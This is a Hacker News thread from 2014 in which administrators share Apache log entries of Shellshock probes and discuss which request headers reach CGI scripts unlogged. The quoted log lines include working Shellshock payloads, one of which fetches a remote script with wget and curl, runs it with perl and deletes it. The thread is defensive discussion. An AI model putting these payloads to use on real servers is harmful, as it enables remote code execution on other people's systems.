Hacker News Reader

Comment by agwa | Hacker News Reader

I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like:

  209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

View on HN

Someone not wanting to stick out might only probe headers that are less-often logged, but still possibly passed-along as environment variables. Has anyone logged 'HTTP_FROM' in a long while?

The shellshock scan is setting the Host header, which might set the SERVER_NAME CGI variable in some environments and is not included in the Common Log Format or widely used Combined Log Format (which adds the Referer and User-Agent). For example, Apache's httpd directive UseCanonicalName is set to "off" by default, allowing the client to set SERVER_NAME via the Host header, possibly passing it to vulnerable scripts.

Furthermore, an admin might use directives to log the requested host in a name-based virtual hosting environment to facilitate parsing. For example, when using Apache's httpd LogFormat/CustomLog directives, if "%V" is used as the format string and UseCanonicalName is set to "off", the string provided by the client in the Host header will be written to the log. Naive parsers might choke on this or even execute the code. If the shellshock scan results in a delayed surge of pings from a single host, this is likely to be the cause.

Excellent point.

Apache actually passes along any HTTP header, even undefined ones, as CGI environment variables (of the form $HTTP_HEADERNAME) so an attacker could just make up a header and it would be very unlikely to be logged.

Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells:

    access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"

Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.

I saw a similar thing in my apache log. I shut the machine down. I will check for changed files via `find` http://xmodulo.com/how-to-find-recently-modified-files-on-li... when I get the chance.

I was scanned several times - looks like there were a few false starts and different ping commands: http://pastebin.com/badL7dtk

Ouch - that first attempt (ping without the -c option) has probably resulted in a number of long-lived ping processes.

Reply on news.ycombinator.com